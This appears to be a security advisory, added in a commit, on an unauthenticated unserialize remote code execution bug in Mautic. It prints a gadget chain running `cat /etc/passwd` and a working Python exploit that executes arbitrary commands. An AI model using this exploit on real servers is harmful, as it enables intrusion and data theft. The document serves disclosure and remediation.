|
| 1 | +# Mautic Remote Code Execution |
| 2 | + |
| 3 | +The open-source marketing automation software [Mautic](https://mautic.org) suffers from a vulnerability due to usage of the insecure `unserialize` function. An unauthenticated adversary exploiting this vulnerability is able to execute arbitrary code. When using PHP 7.0 or newer Mautic installations up to and including 2.15.1 are affected, for servers running older versions of PHP the vulnerability has not been fixed (yet). This document gives a quick overview of the vulnerability and how it can be exploited. |
| 4 | + |
| 5 | +## Vulnerability |
| 6 | + |
| 7 | +First, when accessing a non-existent path on a Mautic installation the `indexAction` of the `PublicController` will be called. |
| 8 | + |
| 9 | +```php |
| 10 | +class PublicController extends CommonFormController |
| 11 | +{ |
| 12 | + public function indexAction($slug, Request $request) |
| 13 | + { |
| 14 | + $model = $this->getModel('page'); |
| 15 | + |
| 16 | + // ... |
| 17 | + |
| 18 | + $model->hitPage($entity, $this->request, 404); |
| 19 | + return $this->notFound(); |
| 20 | + } |
| 21 | +} |
| 22 | +``` |
| 23 | + |
| 24 | +Then the `hitPage` method of the `PageModel` is called. `hitPage` then calls `getHitQuery`, which calls `AbstractCommonModel::decodeArrayFromUrl`. |
| 25 | + |
| 26 | +```php |
| 27 | +class PageModel extends FormModel |
| 28 | +{ |
| 29 | + public function hitPage($page, Request $request, $code = '200', Lead $lead = null, $query = []) |
| 30 | + { |
| 31 | + // ... |
| 32 | + |
| 33 | + // Process the query |
| 34 | + if (empty($query)) { |
| 35 | + $query = $this->getHitQuery($request, $page); |
| 36 | + } |
| 37 | + |
| 38 | + // ... |
| 39 | + } |
| 40 | + |
| 41 | + public function getHitQuery(Request $request, $page = null) |
| 42 | + { |
| 43 | + $get = $request->query->all(); |
| 44 | + $post = $request->request->all(); |
| 45 | + |
| 46 | + $query = \array_merge($get, $post); |
| 47 | + |
| 48 | + // Set generated page url |
| 49 | + $query['page_url'] = $this->getPageUrl($request, $page); |
| 50 | + |
| 51 | + // Process clickthrough if applicable |
| 52 | + if (!empty($query['ct'])) { |
| 53 | + $query['ct'] = $this->decodeArrayFromUrl($query['ct']); |
| 54 | + } |
| 55 | + |
| 56 | + return $query; |
| 57 | + } |
| 58 | +} |
| 59 | +``` |
| 60 | + |
| 61 | +`AbstractCommonModel::decodeArrayFromUrl` finally calls the vulnerable `ClickthroughHelper::decodeArrayFromUrl`. |
| 62 | + |
| 63 | +```php |
| 64 | +abstract class AbstractCommonModel |
| 65 | +{ |
| 66 | + public function decodeArrayFromUrl($string, $urlDecode = true) |
| 67 | + { |
| 68 | + return ClickthroughHelper::decodeArrayFromUrl($string, $urlDecode); |
| 69 | + } |
| 70 | +} |
| 71 | +``` |
| 72 | + |
| 73 | +The vulnerable code in `app/bundles/CoreBundle/Helper/ClickthroughHelper.php`: |
| 74 | + |
| 75 | +```php |
| 76 | +class ClickthroughHelper |
| 77 | +{ |
| 78 | + public static function decodeArrayFromUrl($string, $urlDecode = true) |
| 79 | + { |
| 80 | + $raw = $urlDecode ? urldecode($string) : $string; |
| 81 | + $decoded = base64_decode($raw); |
| 82 | + |
| 83 | + if (empty($decoded)) { |
| 84 | + return []; |
| 85 | + } |
| 86 | + |
| 87 | + if (strpos(strtolower($decoded), 'a') !== 0) { |
| 88 | + throw new \InvalidArgumentException(sprintf('The string %s is not a serialized array.', $decoded)); |
| 89 | + } |
| 90 | + |
| 91 | + return unserialize($decoded); |
| 92 | + } |
| 93 | +} |
| 94 | +``` |
| 95 | + |
| 96 | +This code unserializes a user-controlled string. Adversaries can thus instantiate arbitrary PHP objects and achieve code execution. |
| 97 | + |
| 98 | +## Unserialize Gadget |
| 99 | + |
| 100 | +Adversaries can exploit this vulnerability by crafting a PHP object that will execute code when it is destructed. The following unserialize gadget will execute `system("cat /etc/passwd");` when destructed. |
| 101 | + |
| 102 | +``` |
| 103 | +array(1) { |
| 104 | + [0]=> |
| 105 | + object(Gaufrette\Adapter\Zip)#2220 (2) { |
| 106 | + ["zipArchive":protected]=> |
| 107 | + object(Monolog\Handler\BufferHandler)#2217 (10) { |
| 108 | + ["handler":protected]=> |
| 109 | + object(Monolog\Handler\GroupHandler)#2224 (5) { |
| 110 | + ["handlers":protected]=> |
| 111 | + array(0) { |
| 112 | + } |
| 113 | + ["processors":protected]=> |
| 114 | + array(1) { |
| 115 | + [0]=> |
| 116 | + string(6) "system" |
| 117 | + } |
| 118 | + } |
| 119 | + ["bufferSize":protected]=> |
| 120 | + int(1) |
| 121 | + ["buffer":protected]=> |
| 122 | + array(1) { |
| 123 | + [0]=> |
| 124 | + string(2) "cat /etc/passwd" |
| 125 | + } |
| 126 | + } |
| 127 | + } |
| 128 | +} |
| 129 | +``` |
| 130 | + |
| 131 | +When this PHP object is destructed, the `__destruct` method on `Gaufrette\Adapter\Zip` will be called. |
| 132 | + |
| 133 | +```php |
| 134 | +class Zip implements Adapter |
| 135 | +{ |
| 136 | + public function __destruct() |
| 137 | + { |
| 138 | + if ($this->zipArchive) { |
| 139 | + try { |
| 140 | + $this->zipArchive->close(); |
| 141 | + } catch (\Exception $e) { |
| 142 | + |
| 143 | + } |
| 144 | + unset($this->zipArchive); |
| 145 | + } |
| 146 | + } |
| 147 | +} |
| 148 | +``` |
| 149 | + |
| 150 | +This method will call `close` on its `zipArchive` member. In our case this is a `Monolog\Handler\BufferHandler` object. |
| 151 | + |
| 152 | +```php |
| 153 | +class BufferHandler extends AbstractHandler |
| 154 | +{ |
| 155 | + public function close() |
| 156 | + { |
| 157 | + $this->flush(); |
| 158 | + } |
| 159 | + |
| 160 | + public function flush() |
| 161 | + { |
| 162 | + if ($this->bufferSize === 0) { |
| 163 | + return; |
| 164 | + } |
| 165 | + |
| 166 | + $this->handler->handleBatch($this->buffer); |
| 167 | + $this->clear(); |
| 168 | + } |
| 169 | +} |
| 170 | +``` |
| 171 | + |
| 172 | +The `flush` method will then call `handleBatch` on the `Monolog\Handler\GroupHandler` object and pass its `buffer` member variable in. |
| 173 | + |
| 174 | +```php |
| 175 | +class GroupHandler extends AbstractHandler |
| 176 | +{ |
| 177 | + public function handleBatch(array $records) |
| 178 | + { |
| 179 | + if ($this->processors) { |
| 180 | + $processed = array(); |
| 181 | + foreach ($records as $record) { |
| 182 | + foreach ($this->processors as $processor) { |
| 183 | + $processed[] = call_user_func($processor, $record); |
| 184 | + } |
| 185 | + } |
| 186 | + $records = $processed; |
| 187 | + } |
| 188 | + |
| 189 | + foreach ($this->handlers as $handler) { |
| 190 | + $handler->handleBatch($records); |
| 191 | + } |
| 192 | + } |
| 193 | +} |
| 194 | +``` |
| 195 | + |
| 196 | +The `handleBatch` method then calls `call_user_func` which an adversary can use to execute arbitrary code. |
| 197 | + |
| 198 | +## Summary |
| 199 | + |
| 200 | +`unserialize` is a dangerous function that should only be used when the serialization of PHP objects is explicitly required. In cases where the serialization of PHP objects is not required one should use the `json_encode` and `json_decode` functions instead. |
| 201 | +If PHP object serialization is required the [`$options` argument](https://www.php.net/manual/en/function.unserialize.php) should be used to specify which PHP objects can be unserialized and a cryptographic primitive such as an [HMAC](https://en.wikipedia.org/wiki/HMAC) should be used to prevent users from tampering with serialized data. |
| 202 | + |
| 203 | +## Proof of Concept |
| 204 | + |
| 205 | +The following proof of concept exploits the vulnerability in order to execute arbitrary system commands: |
| 206 | + |
| 207 | +```python |
| 208 | +#!/usr/bin/env python3 |
| 209 | +import requests |
| 210 | +import base64 |
| 211 | +import argparse |
| 212 | + |
| 213 | +def exploit(url, cmd): |
| 214 | + php_function = 'system' |
| 215 | + group_handler = b'O:28:"Monolog\\Handler\\GroupHandler":2:{s:13:"\x00*\x00processors";a:1:{i:0;s:' + bytes(str(len(php_function)), 'utf-8') + b':"' + bytes(php_function, 'utf-8') + b'";}s:11:"\x00*\x00handlers";a:0:{}}' |
| 216 | + buffer_handler = b'O:29:"Monolog\\Handler\\BufferHandler":3:{s:13:"\x00*\x00bufferSize";i:1;s:9:"\x00*\x00buffer";a:1:{i:0;s:' + bytes(str(len(cmd)), 'utf-8') + b':"' + bytes(cmd, 'utf-8') + b'";}s:10:"\x00*\x00handler";' + group_handler + b'}' |
| 217 | + zip_archive = b'a:1:{i:0;O:21:"Gaufrette\\Adapter\\Zip":1:{s:13:"\x00*\x00zipArchive";' + buffer_handler + b'}}' |
| 218 | + payload = base64.b64encode(zip_archive) |
| 219 | + |
| 220 | + output = requests.post('{}/index.php/404'.format(url), data={'ct': payload}).text |
| 221 | + return output[:output.rindex('<!DOCTYPE html>')] |
| 222 | + |
| 223 | +if __name__ == '__main__': |
| 224 | + parser = argparse.ArgumentParser(description='Remote code execution on mautic') |
| 225 | + parser.add_argument('url', help='base url of the mautic installation (e.g. http://localhost/)') |
| 226 | + parser.add_argument('cmd', help='command to execute (e.g. ls)') |
| 227 | + |
| 228 | + args = parser.parse_args() |
| 229 | + |
| 230 | + print(exploit(args.url, args.cmd)) |
| 231 | + |
| 232 | +``` |
0 commit comments